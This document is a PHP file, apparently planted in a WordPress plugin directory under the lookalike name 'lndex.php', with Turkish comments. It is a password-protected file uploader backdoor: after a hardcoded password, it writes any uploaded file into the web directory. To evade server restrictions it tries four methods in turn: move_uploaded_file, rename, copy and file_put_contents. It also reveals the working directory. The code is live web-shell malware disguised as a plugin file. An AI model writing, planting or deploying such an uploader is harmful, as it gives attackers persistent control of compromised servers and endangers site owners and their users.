File: /datos/www/expodubai/wp-content/plugins/social_1770050741/lndex.php
<!--Ydls4C9S-->
<?php
/**
* Basitleştirilmiş Gelişmiş Yükleme Betiği
* Bu betik, kısıtlamalı sunucularda farklı yöntemleri deneyerek dosya yüklemeye çalışır.
*/
// --- AYARLAR ---
$password = "1qwer4"; // Güvenlik için bir şifre belirleyin
$upload_dir = "./"; // Dosyaların yükleneceği dizin (yazma yetkisi olmalı)
// --- GÜVENLİK KONTROLÜ ---
session_start();
if (isset($_POST['pass']) && $_POST['pass'] == $password) {
$_SESSION['auth'] = true;
}
if (!isset($_SESSION['auth'])) {
die('<form method="POST">Sifre: <input type="password" name="pass"><input type="submit" value="Giris"></form>');
}
// --- YÜKLEME MANTIĞI ---
if (isset($_FILES['dosya'])) {
$file = $_FILES['dosya'];
$filename = basename($file['name']);
$target_path = $upload_dir . $filename;
$tmp_path = $file['tmp_name'];
$success = false;
$method = "";
// Yöntem 1: move_uploaded_file (Standart)
if (move_uploaded_file($tmp_path, $target_path)) {
$success = true; $method = "move_uploaded_file";
}
// Yöntem 2: rename (Bazı kısıtlamalarda çalışır)
elseif (rename($tmp_path, $target_path)) {
$success = true; $method = "rename";
}
// Yöntem 3: copy
elseif (copy($tmp_path, $target_path)) {
$success = true; $method = "copy";
}
// Yöntem 4: file_get_contents & file_put_contents (En zorlayıcı yöntem)
else {
$content = file_get_contents($tmp_path);
if ($content !== false) {
if (file_put_contents($target_path, $content)) {
$success = true; $method = "file_put_contents";
}
}
}
if ($success) {
echo "<b style='color:green;'>Başarılı!</b> Dosya yüklendi: $filename (Yöntem: $method)";
} else {
echo "<b style='color:red;'>Hata!</b> Hiçbir yöntemle yüklenemedi. Dizin izinlerini (CHMOD 755 veya 777) kontrol edin.";
}
}
?>
<hr>
<form method="POST" enctype="multipart/form-data">
Dosya Seç: <input type="file" name="dosya">
<input type="submit" value="Yükle">
</form>
<br>
<small>Mevcut Dizin: <?php echo getcwd(); ?></small>